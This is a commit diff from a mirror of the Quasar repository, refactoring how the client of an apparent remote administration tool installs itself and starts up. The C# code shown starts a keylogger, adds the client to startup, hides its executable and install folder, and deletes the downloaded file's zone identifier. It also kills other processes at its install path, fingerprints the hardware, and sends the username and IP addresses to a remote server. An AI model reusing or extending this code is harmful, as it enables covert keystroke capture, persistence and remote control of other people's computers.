mirror of https://github.com/quasar/Quasar.git
Refactor client installation and startup
This commit is contained in:
parent
547ab1feef
commit
7e3175664d
|
@ -0,0 +1,19 @@
|
|||
using Quasar.Client.Utilities;
|
||||
using System.Diagnostics;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Client.Extensions
|
||||
{
|
||||
public static class ProcessExtensions
|
||||
{
|
||||
public static string GetMainModuleFileName(this Process proc)
|
||||
{
|
||||
uint nChars = 260;
|
||||
StringBuilder buffer = new StringBuilder((int)nChars);
|
||||
|
||||
var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars);
|
||||
|
||||
return success ? buffer.ToString() : null;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,8 +1,8 @@
|
|||
using System;
|
||||
using Quasar.Client.Utilities;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using Quasar.Client.Utilities;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
|
@ -21,8 +21,8 @@ public static uint GetLastInputInfoTickCount()
|
|||
NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
|
||||
lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo);
|
||||
lastInputInfo.dwTime = 0;
|
||||
|
||||
return NativeMethods.GetLastInputInfo(ref lastInputInfo) ? lastInputInfo.dwTime : 0;
|
||||
NativeMethods.GetLastInputInfo(ref lastInputInfo);
|
||||
return lastInputInfo.dwTime;
|
||||
}
|
||||
|
||||
public static void DoMouseLeftClick(Point p, bool isMouseDown)
|
||||
|
|
|
@ -1,33 +0,0 @@
|
|||
using System;
|
||||
using System.Security.Principal;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
{
|
||||
public static class WindowsAccountHelper
|
||||
{
|
||||
public static string GetName()
|
||||
{
|
||||
return Environment.UserName;
|
||||
}
|
||||
|
||||
public static string GetAccountType()
|
||||
{
|
||||
using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
|
||||
{
|
||||
if (identity != null)
|
||||
{
|
||||
WindowsPrincipal principal = new WindowsPrincipal(identity);
|
||||
|
||||
if (principal.IsInRole(WindowsBuiltInRole.Administrator))
|
||||
return "Admin";
|
||||
if (principal.IsInRole(WindowsBuiltInRole.User))
|
||||
return "User";
|
||||
if (principal.IsInRole(WindowsBuiltInRole.Guest))
|
||||
return "Guest";
|
||||
}
|
||||
}
|
||||
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
}
|
|
@ -6,18 +6,85 @@
|
|||
using System.Net.NetworkInformation;
|
||||
using System.Net.Sockets;
|
||||
|
||||
namespace Quasar.Client.Helper
|
||||
namespace Quasar.Client.IO
|
||||
{
|
||||
public static class DevicesHelper
|
||||
/// <summary>
|
||||
/// Provides access to retrieve information about the used hardware devices.
|
||||
/// </summary>
|
||||
/// <remarks>Caches the retrieved information to reduce the slowdown of the slow WMI queries.</remarks>
|
||||
public static class HardwareDevices
|
||||
{
|
||||
public static string HardwareId { get; private set; }
|
||||
/// <summary>
|
||||
/// Gets a unique hardware id as a combination of various hardware components.
|
||||
/// </summary>
|
||||
public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer));
|
||||
|
||||
static DevicesHelper()
|
||||
{
|
||||
HardwareId = Sha256.ComputeHash(GetCpuName() + GetMainboardIdentifier() + GetBiosIdentifier());
|
||||
}
|
||||
/// <summary>
|
||||
/// Used to cache the hardware id.
|
||||
/// </summary>
|
||||
private static string _hardwareId;
|
||||
|
||||
public static string GetBiosIdentifier()
|
||||
/// <summary>
|
||||
/// Gets the name of the system CPU.
|
||||
/// </summary>
|
||||
public static string CpuName => _cpuName ?? (_cpuName = GetCpuName());
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the CPU name.
|
||||
/// </summary>
|
||||
private static string _cpuName;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the name of the GPU.
|
||||
/// </summary>
|
||||
public static string GpuName => _gpuName ?? (_gpuName = GetGpuName());
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the GPU name.
|
||||
/// </summary>
|
||||
private static string _gpuName;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the name of the BIOS manufacturer.
|
||||
/// </summary>
|
||||
public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer());
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the BIOS manufacturer.
|
||||
/// </summary>
|
||||
private static string _biosManufacturer;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the name of the mainboard.
|
||||
/// </summary>
|
||||
public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName());
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the mainboard name.
|
||||
/// </summary>
|
||||
private static string _mainboardName;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the total physical memory of the system in megabytes (MB).
|
||||
/// </summary>
|
||||
public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb());
|
||||
|
||||
/// <summary>
|
||||
/// Used to cache the total physical memory.
|
||||
/// </summary>
|
||||
private static int? _totalPhysicalMemory;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the LAN IP address of the network interface.
|
||||
/// </summary>
|
||||
public static string LanIpAddress => GetLanIpAddress();
|
||||
|
||||
/// <summary>
|
||||
/// Gets the MAC address of the network interface.
|
||||
/// </summary>
|
||||
public static string MacAddress => GetMacAddress();
|
||||
|
||||
private static string GetBiosManufacturer()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
@ -42,7 +109,7 @@ public static string GetBiosIdentifier()
|
|||
return "Unknown";
|
||||
}
|
||||
|
||||
public static string GetMainboardIdentifier()
|
||||
private static string GetMainboardName()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
@ -53,7 +120,7 @@ public static string GetMainboardIdentifier()
|
|||
{
|
||||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
mainboardIdentifier = mObject["Manufacturer"].ToString() + mObject["SerialNumber"].ToString();
|
||||
mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
@ -67,7 +134,7 @@ public static string GetMainboardIdentifier()
|
|||
return "Unknown";
|
||||
}
|
||||
|
||||
public static string GetCpuName()
|
||||
private static string GetCpuName()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
@ -92,7 +159,7 @@ public static string GetCpuName()
|
|||
return "Unknown";
|
||||
}
|
||||
|
||||
public static int GetTotalRamAmount()
|
||||
private static int GetTotalPhysicalMemoryInMb()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
@ -104,7 +171,7 @@ public static int GetTotalRamAmount()
|
|||
foreach (ManagementObject mObject in searcher.Get())
|
||||
{
|
||||
double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
|
||||
installedRAM = (int)(bytes / 1048576);
|
||||
installedRAM = (int)(bytes / 1048576); // bytes to MB
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
@ -117,7 +184,7 @@ public static int GetTotalRamAmount()
|
|||
}
|
||||
}
|
||||
|
||||
public static string GetGpuName()
|
||||
private static string GetGpuName()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
@ -141,8 +208,9 @@ public static string GetGpuName()
|
|||
}
|
||||
}
|
||||
|
||||
public static string GetLanIp()
|
||||
private static string GetLanIpAddress()
|
||||
{
|
||||
// TODO: support multiple network interfaces
|
||||
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
|
||||
{
|
||||
GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault();
|
||||
|
@ -167,7 +235,7 @@ public static string GetLanIp()
|
|||
return "-";
|
||||
}
|
||||
|
||||
public static string GetMacAddress()
|
||||
private static string GetMacAddress()
|
||||
{
|
||||
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
|
||||
{
|
||||
|
@ -182,7 +250,7 @@ public static string GetMacAddress()
|
|||
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
|
||||
continue;
|
||||
|
||||
foundCorrect = (ip.Address.ToString() == GetLanIp());
|
||||
foundCorrect = (ip.Address.ToString() == GetLanIpAddress());
|
||||
}
|
||||
|
||||
if (foundCorrect)
|
|
@ -21,7 +21,7 @@ public KeyloggerService()
|
|||
});
|
||||
}
|
||||
|
||||
public void StartService()
|
||||
public void Start()
|
||||
{
|
||||
_msgLoopThread.Start();
|
||||
}
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
using Quasar.Client.Config;
|
||||
using System;
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Client.Networking;
|
||||
using Quasar.Client.Setup;
|
||||
|
@ -7,6 +8,8 @@
|
|||
using Quasar.Common.Networking;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
using Quasar.Client.User;
|
||||
using Quasar.Common.Enums;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
|
@ -54,8 +57,15 @@ public override void Execute(ISender sender, IMessage message)
|
|||
private void Execute(ISender client, DoClientUninstall message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" });
|
||||
|
||||
new ClientUninstaller().Uninstall(client);
|
||||
try
|
||||
{
|
||||
new ClientUninstaller().Uninstall();
|
||||
_client.Exit();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientDisconnect message)
|
||||
|
@ -70,7 +80,8 @@ private void Execute(ISender client, DoClientReconnect message)
|
|||
|
||||
private void Execute(ISender client, DoAskElevate message)
|
||||
{
|
||||
if (WindowsAccountHelper.GetAccountType() != "Admin")
|
||||
var userAccount = new UserAccount();
|
||||
if (userAccount.Type != AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo processStartInfo = new ProcessStartInfo
|
||||
{
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
using Quasar.Client.Networking;
|
||||
using Quasar.Client.Utilities;
|
||||
using Quasar.Common;
|
||||
using Quasar.Common.Enums;
|
||||
using Quasar.Common.Extensions;
|
||||
using Quasar.Common.Helpers;
|
||||
|
|
|
@ -1,11 +1,13 @@
|
|||
using Quasar.Client.Helper;
|
||||
using Quasar.Client.IpGeoLocation;
|
||||
using Quasar.Client.User;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net.NetworkInformation;
|
||||
using Quasar.Client.IO;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
|
@ -39,21 +41,22 @@ private void Execute(ISender client, GetSystemInfo message)
|
|||
var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";
|
||||
|
||||
var geoInfo = GeoInformationFactory.GetGeoInformation();
|
||||
var userAccount = new UserAccount();
|
||||
|
||||
List<Tuple<string, string>> lstInfos = new List<Tuple<string, string>>
|
||||
{
|
||||
new Tuple<string, string>("Processor (CPU)", DevicesHelper.GetCpuName()),
|
||||
new Tuple<string, string>("Memory (RAM)", $"{DevicesHelper.GetTotalRamAmount()} MB"),
|
||||
new Tuple<string, string>("Video Card (GPU)", DevicesHelper.GetGpuName()),
|
||||
new Tuple<string, string>("Username", WindowsAccountHelper.GetName()),
|
||||
new Tuple<string, string>("Processor (CPU)", HardwareDevices.CpuName),
|
||||
new Tuple<string, string>("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"),
|
||||
new Tuple<string, string>("Video Card (GPU)", HardwareDevices.GpuName),
|
||||
new Tuple<string, string>("Username", userAccount.UserName),
|
||||
new Tuple<string, string>("PC Name", SystemHelper.GetPcName()),
|
||||
new Tuple<string, string>("Domain Name", domainName),
|
||||
new Tuple<string, string>("Host Name", hostName),
|
||||
new Tuple<string, string>("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
|
||||
new Tuple<string, string>("System Directory", Environment.SystemDirectory),
|
||||
new Tuple<string, string>("Uptime", SystemHelper.GetUptime()),
|
||||
new Tuple<string, string>("MAC Address", DevicesHelper.GetMacAddress()),
|
||||
new Tuple<string, string>("LAN IP Address", DevicesHelper.GetLanIp()),
|
||||
new Tuple<string, string>("MAC Address", HardwareDevices.MacAddress),
|
||||
new Tuple<string, string>("LAN IP Address", HardwareDevices.LanIpAddress),
|
||||
new Tuple<string, string>("WAN IP Address", geoInfo.IpAddress),
|
||||
new Tuple<string, string>("ASN", geoInfo.Asn),
|
||||
new Tuple<string, string>("ISP", geoInfo.Isp),
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
using Quasar.Client.Networking;
|
||||
using Quasar.Client.Setup;
|
||||
using Quasar.Client.Utilities;
|
||||
using Quasar.Common;
|
||||
using Quasar.Common.Enums;
|
||||
using Quasar.Common.Helpers;
|
||||
using Quasar.Common.Messages;
|
||||
|
@ -97,20 +97,23 @@ private void Execute(ISender client, DoProcessStart message)
|
|||
}
|
||||
}
|
||||
|
||||
try
|
||||
if (message.IsUpdate)
|
||||
{
|
||||
if (message.IsUpdate)
|
||||
try
|
||||
{
|
||||
if (ClientUpdater.Update(client, filePath))
|
||||
{
|
||||
_client.Exit();
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception("Update failed");
|
||||
}
|
||||
var clientUpdater = new ClientUpdater();
|
||||
clientUpdater.Update(filePath);
|
||||
_client.Exit();
|
||||
}
|
||||
else
|
||||
catch (Exception ex)
|
||||
{
|
||||
NativeMethods.DeleteFile(filePath);
|
||||
client.Send(new SetStatus { Message = $"Update failed: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
|
@ -118,12 +121,13 @@ private void Execute(ISender client, DoProcessStart message)
|
|||
FileName = filePath
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = true});
|
||||
}
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true });
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
|
||||
catch (Exception)
|
||||
{
|
||||
client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false});
|
||||
}
|
||||
|
||||
}
|
||||
}).Start();
|
||||
}
|
||||
|
|
|
@ -1,6 +1,9 @@
|
|||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Client.IO;
|
||||
using Quasar.Client.IpGeoLocation;
|
||||
using Quasar.Client.User;
|
||||
using Quasar.Common.DNS;
|
||||
using Quasar.Common.Helpers;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Utilities;
|
||||
|
@ -8,8 +11,6 @@
|
|||
using System.Diagnostics;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Quasar.Common.DNS;
|
||||
|
||||
namespace Quasar.Client.Networking
|
||||
{
|
||||
|
@ -40,21 +41,14 @@ public void ConnectLoop()
|
|||
{
|
||||
if (!Connected)
|
||||
{
|
||||
Thread.Sleep(100 + _random.Next(0, 250));
|
||||
|
||||
Host host = _hosts.GetNextHost();
|
||||
|
||||
base.Connect(host.IpAddress, host.Port);
|
||||
|
||||
Thread.Sleep(200);
|
||||
|
||||
Application.DoEvents();
|
||||
}
|
||||
|
||||
while (Connected) // hold client open
|
||||
{
|
||||
Application.DoEvents();
|
||||
Thread.Sleep(2500);
|
||||
Thread.Sleep(1000);
|
||||
}
|
||||
|
||||
if (Exiting)
|
||||
|
@ -97,17 +91,18 @@ private void OnClientState(Client client, bool connected)
|
|||
// send client identification once connected
|
||||
|
||||
var geoInfo = GeoInformationFactory.GetGeoInformation();
|
||||
var userAccount = new UserAccount();
|
||||
|
||||
client.Send(new ClientIdentification
|
||||
{
|
||||
Version = Settings.VERSION,
|
||||
OperatingSystem = PlatformHelper.FullName,
|
||||
AccountType = WindowsAccountHelper.GetAccountType(),
|
||||
AccountType = nameof(userAccount.Type),
|
||||
Country = geoInfo.Country,
|
||||
CountryCode = geoInfo.CountryCode,
|
||||
ImageIndex = geoInfo.ImageIndex,
|
||||
Id = DevicesHelper.HardwareId,
|
||||
Username = WindowsAccountHelper.GetName(),
|
||||
Id = HardwareDevices.HardwareId,
|
||||
Username = userAccount.UserName,
|
||||
PcName = SystemHelper.GetPcName(),
|
||||
Tag = Settings.TAG,
|
||||
EncryptionKey = Settings.ENCRYPTIONKEY,
|
||||
|
|
|
@ -14,7 +14,10 @@ private static void Main(string[] args)
|
|||
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
new QuasarApplication().Run();
|
||||
using (var app = new QuasarApplication())
|
||||
{
|
||||
app.Run();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -4,6 +4,7 @@
|
|||
using Quasar.Client.Messages;
|
||||
using Quasar.Client.Networking;
|
||||
using Quasar.Client.Setup;
|
||||
using Quasar.Client.User;
|
||||
using Quasar.Client.Utilities;
|
||||
using Quasar.Common.DNS;
|
||||
using Quasar.Common.Helpers;
|
||||
|
@ -11,70 +12,124 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client
|
||||
{
|
||||
public class QuasarApplication
|
||||
/// <summary>
|
||||
/// The client application which handles basic bootstrapping of the message processors and background tasks.
|
||||
/// </summary>
|
||||
public class QuasarApplication : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// A system-wide mutex that ensures that only one instance runs at a time.
|
||||
/// </summary>
|
||||
public SingleInstanceMutex ApplicationMutex;
|
||||
|
||||
/// <summary>
|
||||
/// The client used for the connection to the server.
|
||||
/// </summary>
|
||||
public QuasarClient ConnectClient;
|
||||
|
||||
/// <summary>
|
||||
/// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
|
||||
/// </summary>
|
||||
private readonly List<IMessageProcessor> _messageProcessors;
|
||||
|
||||
/// <summary>
|
||||
/// The background keylogger service used to capture and store keystrokes.
|
||||
/// </summary>
|
||||
private KeyloggerService _keyloggerService;
|
||||
|
||||
/// <summary>
|
||||
/// Keeps track of the user activity.
|
||||
/// </summary>
|
||||
private ActivityDetection _userActivityDetection;
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether an installation is required depending on the current and target paths.
|
||||
/// </summary>
|
||||
private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="QuasarApplication"/> class.
|
||||
/// </summary>
|
||||
public QuasarApplication()
|
||||
{
|
||||
AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
|
||||
_messageProcessors = new List<IMessageProcessor>();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins running the application.
|
||||
/// </summary>
|
||||
public void Run()
|
||||
{
|
||||
// decrypt and verify the settings
|
||||
if (Settings.Initialize())
|
||||
if (!Settings.Initialize()) return;
|
||||
|
||||
ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
|
||||
|
||||
// check if process with same mutex is already running on system
|
||||
if (!ApplicationMutex.CreatedNew) return;
|
||||
|
||||
FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
|
||||
|
||||
var installer = new ClientInstaller();
|
||||
|
||||
if (IsInstallationRequired)
|
||||
{
|
||||
ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
|
||||
// close mutex before installing the client
|
||||
ApplicationMutex.Dispose();
|
||||
|
||||
// check if process with same mutex is already running on system
|
||||
if (ApplicationMutex.CreatedNew)
|
||||
try
|
||||
{
|
||||
FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
|
||||
|
||||
if (IsInstallationRequired)
|
||||
{
|
||||
// close mutex before installing the client
|
||||
ApplicationMutex.Dispose();
|
||||
new ClientInstaller().Install();
|
||||
}
|
||||
else
|
||||
{
|
||||
// (re)apply settings and proceed with connect loop
|
||||
ApplySettings();
|
||||
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
|
||||
ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
|
||||
InitializeMessageProcessors(ConnectClient);
|
||||
ConnectClient.ConnectLoop();
|
||||
}
|
||||
installer.Install();
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
// (re)apply settings and proceed with connect loop
|
||||
installer.ApplySettings();
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
|
||||
Cleanup();
|
||||
Exit();
|
||||
}
|
||||
|
||||
private static void Exit()
|
||||
{
|
||||
// Don't wait for other threads
|
||||
Environment.Exit(0);
|
||||
if (Settings.ENABLELOGGER)
|
||||
{
|
||||
_keyloggerService = new KeyloggerService();
|
||||
_keyloggerService.Start();
|
||||
}
|
||||
|
||||
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
|
||||
ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
|
||||
InitializeMessageProcessors(ConnectClient);
|
||||
|
||||
_userActivityDetection = new ActivityDetection(ConnectClient);
|
||||
_userActivityDetection.Start();
|
||||
|
||||
ConnectClient.ConnectLoop();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Handles unhandled exceptions by restarting the application and hoping that they don't happen again.
|
||||
/// </summary>
|
||||
/// <param name="sender">The source of the unhandled exception event.</param>
|
||||
/// <param name="e">The exception event arguments. </param>
|
||||
private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
|
||||
{
|
||||
if (e.IsTerminating)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
|
||||
if (string.IsNullOrEmpty(batchFile)) return;
|
||||
|
||||
|
@ -85,17 +140,14 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv
|
|||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
Exit();
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
private void Cleanup()
|
||||
{
|
||||
CleanupMessageProcessors();
|
||||
_keyloggerService?.Dispose();
|
||||
ApplicationMutex.Dispose();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds all message processors to <see cref="_messageProcessors"/> and registers them in the <see cref="MessageHandler"/>.
|
||||
/// </summary>
|
||||
/// <param name="client">The client which handles the connection.</param>
|
||||
private void InitializeMessageProcessors(QuasarClient client)
|
||||
{
|
||||
_messageProcessors.Add(new ClientServicesHandler(this, client));
|
||||
|
@ -112,13 +164,15 @@ private void InitializeMessageProcessors(QuasarClient client)
|
|||
_messageProcessors.Add(new SystemInformationHandler());
|
||||
_messageProcessors.Add(new TaskManagerHandler(client));
|
||||
_messageProcessors.Add(new TcpConnectionsHandler(client));
|
||||
_messageProcessors.Add(new UserStatusHandler(client));
|
||||
_messageProcessors.Add(new WebsiteVisitorHandler());
|
||||
|
||||
foreach (var msgProc in _messageProcessors)
|
||||
MessageHandler.Register(msgProc);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all message processors of <see cref="_messageProcessors"/> and unregisters them from the <see cref="MessageHandler"/>.
|
||||
/// </summary>
|
||||
private void CleanupMessageProcessors()
|
||||
{
|
||||
foreach (var msgProc in _messageProcessors)
|
||||
|
@ -128,44 +182,28 @@ private void CleanupMessageProcessors()
|
|||
}
|
||||
}
|
||||
|
||||
private void ApplySettings()
|
||||
/// <summary>
|
||||
/// Releases all resources used by this <see cref="QuasarApplication"/>.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
if (Settings.STARTUP)
|
||||
/// <summary>
|
||||
/// Releases all allocated message processors, services and other resources.
|
||||
/// </summary>
|
||||
/// <param name="disposing"><c>True</c> if called from <see cref="Dispose"/>, <c>false</c> if called from the finalizer.</param>
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
Startup.AddToStartup();
|
||||
}
|
||||
|
||||
if (Settings.INSTALL && Settings.HIDEFILE)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
|
||||
{
|
||||
try
|
||||
{
|
||||
DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
|
||||
di.Attributes |= FileAttributes.Hidden;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
if (Settings.ENABLELOGGER)
|
||||
{
|
||||
_keyloggerService = new KeyloggerService();
|
||||
_keyloggerService.StartService();
|
||||
CleanupMessageProcessors();
|
||||
_keyloggerService?.Dispose();
|
||||
_userActivityDetection?.Dispose();
|
||||
ApplicationMutex.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Extensions;
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
@ -8,25 +9,50 @@
|
|||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientInstaller
|
||||
public class ClientInstaller : ClientSetupBase
|
||||
{
|
||||
public void Install()
|
||||
public void ApplySettings()
|
||||
{
|
||||
bool isKilled = false;
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY);
|
||||
}
|
||||
|
||||
// create target dir
|
||||
if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH)))
|
||||
if (Settings.INSTALL && Settings.HIDEFILE)
|
||||
{
|
||||
try
|
||||
{
|
||||
Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH));
|
||||
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
|
||||
}
|
||||
catch (Exception)
|
||||
catch (Exception ex)
|
||||
{
|
||||
return;
|
||||
Debug.WriteLine(ex);
|
||||
}
|
||||
}
|
||||
|
||||
if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
|
||||
{
|
||||
try
|
||||
{
|
||||
DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
|
||||
di.Attributes |= FileAttributes.Hidden;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Install()
|
||||
{
|
||||
// create target dir
|
||||
if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH)))
|
||||
{
|
||||
Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH));
|
||||
}
|
||||
|
||||
// delete existing file
|
||||
if (File.Exists(Settings.INSTALLPATH))
|
||||
{
|
||||
|
@ -38,47 +64,27 @@ public void Install()
|
|||
{
|
||||
if (ex is IOException || ex is UnauthorizedAccessException)
|
||||
{
|
||||
// kill old process if new mutex
|
||||
// kill old process running at destination path
|
||||
Process[] foundProcesses =
|
||||
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH));
|
||||
int myPid = Process.GetCurrentProcess().Id;
|
||||
foreach (var prc in foundProcesses)
|
||||
{
|
||||
// dont kill own process
|
||||
if (prc.Id == myPid) continue;
|
||||
// only kill the process at the destination path
|
||||
if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue;
|
||||
prc.Kill();
|
||||
isKilled = true;
|
||||
Thread.Sleep(2000);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (isKilled) Thread.Sleep(5000);
|
||||
File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true);
|
||||
|
||||
//copy client to target dir
|
||||
try
|
||||
{
|
||||
File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
Startup.AddToStartup();
|
||||
}
|
||||
|
||||
if (Settings.HIDEFILE)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
ApplySettings();
|
||||
|
||||
FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH);
|
||||
|
||||
|
